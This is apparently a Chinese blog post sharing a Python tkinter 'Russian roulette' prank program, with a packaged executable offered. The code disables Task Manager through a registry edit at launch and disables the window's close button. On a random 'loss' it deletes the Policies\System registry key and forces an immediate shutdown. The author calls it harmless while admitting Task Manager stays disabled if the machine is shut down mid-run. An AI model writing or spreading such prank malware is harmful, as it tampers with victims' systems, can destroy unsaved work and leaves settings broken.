俄罗斯转盘实现

这是俄罗斯转盘的实现,我做了注解,希望你们能看懂:

我着重说明几点:

1,本程序可能会报毒,但本身无害。

2,本程序无需导入任何第三方库即可运行,是小白的福音。

3,倒数第二行,作者是用AI生成的,望大佬解释。

4,如果侵犯了您的权限,请及时告知,另外请大家指出错误。

5,第六行含义请自行百度,这个作者也解释不清。

6,在运行期间请不要关机,否则任务管理器会永久禁用,请自行解决。

7,求点赞和关注,求求了。

​
import random #导入随机库
import time #导入时间库
import tkinter.messagebox #导入弹窗库
import tkinter as tk # 导入显示窗口的库
import os #导入执行命令的库

root=tk.Tk()#标准操作,不懂别问,自己百度
number=0#初始化值

path1 =r'reg delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system" /f'#将修改注册表的命令放入变量
path2=r'REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d "1" /f'#同上


def game():#定义函数
    number=random.randrange(1,5)#将一个幸运儿数字设为number变量
    if number==1:#如果变量是1就弹窗
        tk.messagebox.showinfo('俄罗斯转盘','你死了')#显示弹窗
        os.system(path1)#操作注册表使其启用任务管理器
        time.sleep(2.5)#睡眠一下,让程序有反应时间
        os.system('shutdown -s -t 0')#强制关机
    else:#或者
        tk.messagebox.showinfo('俄罗斯转盘','逃过一劫')#弹窗出来提醒这个不知死活的人

root.title('俄罗斯转盘')#弹出窗口
def callback():#定义一个无用函数
    pass#跳过

os.system(path2)#操作注册表使其禁用任务管理器
root.protocol('WM_DELETE_WINDOW',callback)#无用函数在这里使用,是右上角的叉失效
screenWidth = root.winfo_screenwidth()#获取屏幕宽度
screenHeight = root.winfo_screenheight()#获取屏幕高度
width = 300 #设置弹窗的宽 
height = 160#设置弹窗的长
left = (screenWidth - width) / 2#将左边的宽度设为屏幕长-弹窗的宽/2
top = (screenHeight - height) / 2#将上边的长度设为屏幕高-弹窗的长/2
root.geometry("%dx%d+%d+%d" % (width, height, left, top))#将弹窗弹出在中间
xiaoanniu=tk.Button(root,text='开枪' ,command=game)#设置按钮(用拼音起名很不好)
root.grid_rowconfigure(0, weight=1) #设置按钮的列
root.grid_columnconfigure(0, weight=1)#设置按钮的行
xiaoanniu.grid(row=0, column=0, padx=10, pady=10)#跟上面的两行一块执行
root.mainloop()#启动循环


              


​

另外附上已打包的程序

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值